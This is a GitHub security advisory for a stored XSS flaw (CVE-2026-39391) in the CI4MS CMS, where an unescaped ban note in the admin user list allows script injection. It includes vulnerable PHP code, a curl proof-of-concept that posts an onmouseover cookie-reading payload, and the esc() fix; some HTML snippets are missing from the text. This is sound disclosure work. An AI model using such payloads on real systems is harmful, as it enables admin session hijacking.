GitHub Advisoryadvisory · Packagist

GHSA-7cm9-v848-cfh2 CI4MS has stored XSS via Unescaped Blacklist Note in Admin User List

MEDIUM Published 2026-04-08 Modified 2026-04-08 Official page ↗
Aliases
CVE-2026-39391
Ecosystem
Packagist
Packages
ci4-cms-erp/ci4ms
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Weaknesses
CWE-79
Reviewed
2026-04-08

Affected packages

• Packagist ci4-cms-erp/ci4ms: < 0.31.4.0 → fixed in 0.31.4.0

Description

Summary The blacklist (ban) note parameter in `UserController::ajax_blackList_post()` is stored in the database without sanitization and rendered into an HTML `data-note` attribute without escaping. An admin with blacklist privileges can inject arbitrary JavaScript that executes in the browser of any other admin who views the user management page. Details In `modules/Users/Controllers/UserController.php`, the `ajax_blackList_post()` method (line 344-362) accepts a `note` POST parameter with only a `required` validation rule: ```php // Line 347 — validation only checks 'required', no sanitization $valData = (['note' => ['label' => lang('Backend.notes'), 'rules' => 'required'], 'uid' => ['label' => 'uid', 'rules' => 'required|is_natural_no_zero']]); // Line 352 — raw user input passed directly to ban() $user->ban($this->request->getPost('note')); ``` Shield's `Bannable::ban()` trait stores the message as-is: ```php // vendor/codeigniter4/shield/src/Traits/Bannable.php public function ban(?string $message = null): self { $this->status = 'banned'; $this->status_message = $message; // No escaping // ... } ``` In the `users()` method (line 13-91), when building the DataTables response, the `status_message` is concatenated directly into HTML without escaping: ```php // Line 55 — esc() IS used here (correct) $result->fullname = esc($result->firstname) . ' ' . esc($result->surname); // Line 58-59 — NO esc() on status_message (vulnerable) if ($result->status == 'banned'): $result->actions .= 'status_message . '">' ``` The HTML string is returned as JSON (line 90) and DataTables renders it into the DOM. CSP is disabled (`$CSPEnabled = false` in `App.php`), and no `SecureHeaders` filter is applied. PoC Step 1 — Store XSS payload via ban endpoint: ```bash curl -X POST 'https://TARGET/backend/users/blackList' \ -H 'X-Requested-With: XMLHttpRequest' \ -H 'Cookie: ci_session=ADMIN_SESSION_WITH_UPDATE_PERM' \ -d 'uid=2&note=%22+onmouseover%3D%22alert(document.cookie)%22+x%3D%22' ``` Expected response: `{"result":true,"error":{"type":"success","message":"..."}}` Step 2 — Trigger payload: Any admin navigating to `/backend/users` will receive HTML containing: ```html ``` The XSS fires when the admin hovers over the blacklist button for the banned user. Alternative immediate-execution payload: ``` note="> ``` Impact • Session hijacking: An attacker with blacklist privileges can steal session cookies of other admins (including superadmins who view the user list but are themselves protected from being banned). • Privilege escalation: A lower-privileged admin could use stolen superadmin sessions to gain full control. • Persistent: The payload persists in the database and fires every time the user list is loaded, affecting all admins who view the page. Recommended Fix Wrap `status_message` with `esc()` to match the escaping already applied to other user fields on line 55: ```php // In users() method, line 58-59 — change: $result->actions .= 'id . '" data-status="' . $result->status . '" data-note="' . esc($result->status_message) . '"><i ```

Related

Alias · CVE (1)

  • CVE-2026-39391 CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme… vulnerability

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References